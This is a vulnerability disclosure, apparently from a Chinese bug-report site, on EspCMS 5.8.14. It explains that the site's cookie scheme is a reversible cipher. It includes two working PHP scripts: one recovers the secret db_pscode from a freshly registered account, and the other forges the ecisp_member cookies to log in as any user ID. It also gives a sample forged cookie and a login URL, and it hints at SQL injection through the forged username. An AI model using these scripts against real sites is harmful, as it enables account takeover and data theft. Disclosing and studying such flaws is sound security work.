### 简要描述: EspCMS最新版可伪造任意帐户登陆(源码分析) 测试版本espcms_utf8_5.8.14.03.03_b ### 详细说明: EspCMS中用户cookie生成算法中重要的就是db_pscode 貌似前面有大牛提交过多次,厂商都只是略作修改,并没有最终搞定问题 这里来说一下,可以通过注册普通帐号,通过帐号+cookie破解得到db_pscode 首先是cookie加密算法,/public/class_function.php,144-170行 ``` function eccode($string, $operation = 'DECODE', $key = '@LFK24s224%@safS3s%1f%', $mcrype = true) { $result = null; if ($operation == 'ENCODE') { for ($i = 0; $i < strlen($string); $i++) { $char = substr($string, $i, 1); $keychar = substr($key, ($i % strlen($key)) - 1, 1); $char = chr(ord($char) + ord($keychar)); $result.=$char; } $result = base64_encode($result); $result = str_replace(array('+', '/', '='), array('-', '_', ''), $result); } elseif ($operation == 'DECODE') { $data = str_replace(array('-', '_'), array('+', '/'), $string); $mod4 = strlen($data) % 4; if ($mod4) { $data .= substr('====', $mod4); } $string = base64_decode($data); for ($i = 0; $i < strlen($string); $i++) { $char = substr($string, $i, 1); $keychar = substr($key, ($i %...
### 简要描述: EspCMS最新版可伪造任意帐户登陆(源码分析) 测试版本espcms_utf8_5.8.14.03.03_b ### 详细说明: EspCMS中用户cookie生成算法中重要的就是db_pscode 貌似前面有大牛提交过多次,厂商都只是略作修改,并没有最终搞定问题 这里来说一下,可以通过注册普通帐号,通过帐号+cookie破解得到db_pscode 首先是cookie加密算法,/public/class_function.php,144-170行 ``` function eccode($string, $operation = 'DECODE', $key = '@LFK24s224%@safS3s%1f%', $mcrype = true) { $result = null; if ($operation == 'ENCODE') { for ($i = 0; $i < strlen($string); $i++) { $char = substr($string, $i, 1); $keychar = substr($key, ($i % strlen($key)) - 1, 1); $char = chr(ord($char) + ord($keychar)); $result.=$char; } $result = base64_encode($result); $result = str_replace(array('+', '/', '='), array('-', '_', ''), $result); } elseif ($operation == 'DECODE') { $data = str_replace(array('-', '_'), array('+', '/'), $string); $mod4 = strlen($data) % 4; if ($mod4) { $data .= substr('====', $mod4); } $string = base64_decode($data); for ($i = 0; $i < strlen($string); $i++) { $char = substr($string, $i, 1); $keychar = substr($key, ($i % strlen($key)) - 1, 1); $char = chr(ord($char) - ord($keychar)); $result.=$char; } } return $result; } ``` 不知道分析的对不对,主要是没有采用不可逆函数,导致可以逆推得到db_pscode 我本地搭建时的db_pscode为81cc52c15f9f1df62679efdb12de1be,以此为例 首先注册帐号,获得cookie如下 [<img src="https://images.seebug.org/upload/201403/13221208ca1100195ab0e217709e7a09e15a74ff.jpg" alt="QQ截图20140308142508.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201403/13221208ca1100195ab0e217709e7a09e15a74ff.jpg) [<img src="https://images.seebug.org/upload/201403/1322124758c19073f0e679de5134cbf4eaf39cea.jpg" alt="QQ截图20140308142526.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201403/1322124758c19073f0e679de5134cbf4eaf39cea.jpg) 简单写了个计算db_pscode的,写的比较菜~ ``` <?php $string = "lmlilJRmY5RiZpdql2KV"; $username = "111111111111111"; $result = ""; $mod4 = strlen($string) % 4; if ($mod4) { $string .= substr('====', $mod4); } $de_string = base64_decode($string); for($i=0;$i<strlen($username);$i++){ $char = chr(ord($de_string[$i+1]) - ord($username[$i])); $result .= $char; } echo "code=".$result; ?> ``` 通过这段代码得到db_pscode [<img src="https://images.seebug.org/upload/201403/13221748405b92931e91358a23c7272a007daa6e.jpg" alt="QQ截图20140308143311.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201403/13221748405b92931e91358a23c7272a007daa6e.jpg) db_pscode不完整是因为我们注册的用户名长度不够,只要注册足够长的用户名,就能得到足够长的cookie,就能得到完整db_pscode 得到db_pscode以后,只要伪造两个cookie就可以了,一个是ecisp_member_username,另一个是ecisp_member_info,就可以登陆任意帐户 也简单写了下计算cookie的代码 ``` <?php $string = "81cc52c15f9f1d"; //如果是计算用户名的cookie,这里直接填写用户名 //如果是计算info的cookie,这里填写格式为 2||0|1|||| ,第一个数字即为uid $username = "2||0|1||||"; $result = ""; for($i=0;$i<strlen($username);$i++){ $keychar = substr($string, ($i % strlen($string)) - 1, 1); $char = chr(ord($keychar) + ord($username[$i])); $result .= $char; } $result = base64_encode($result); $result = str_replace(array('+', '/', '='), array('-', '_', ''), $result); echo $result; ?> ``` 注意:这里构造的username,与uid不需要匹配,因为程序读取cookie的时候只查询是否有这个uid存在,所以username可以随意构造,只有uid存在就ok ### 漏洞证明: 比如我要登陆userid=1的帐户,通过计算得到cookie中ecisp_member_info为lrStk99mrt-tsQ 另外一个值随便取值计算,不能不存在就ok 修改cookie [<img src="https://images.seebug.org/upload/201403/132223460f11cafca18cc74cd51513ad7ffa254e.jpg" alt="QQ截图20140308144455.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201403/132223460f11cafca18cc74cd51513ad7ffa254e.jpg) 直接访问/index.php?ac=membermain&at=center,就登陆成功 [<img src="https://images.seebug.org/upload/201403/13222448bfb18295cefeb80ff4a096f7d488f4dc.jpg" alt="QQ截图20140308144627.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201403/13222448bfb18295cefeb80ff4a096f7d488f4dc.jpg) 另外说一下,因为可以随意构造username,这样的话在username处构造注入的话。。。 发现有多个地方可以通过这个方式注入,绝对无视gpc,无视全局过滤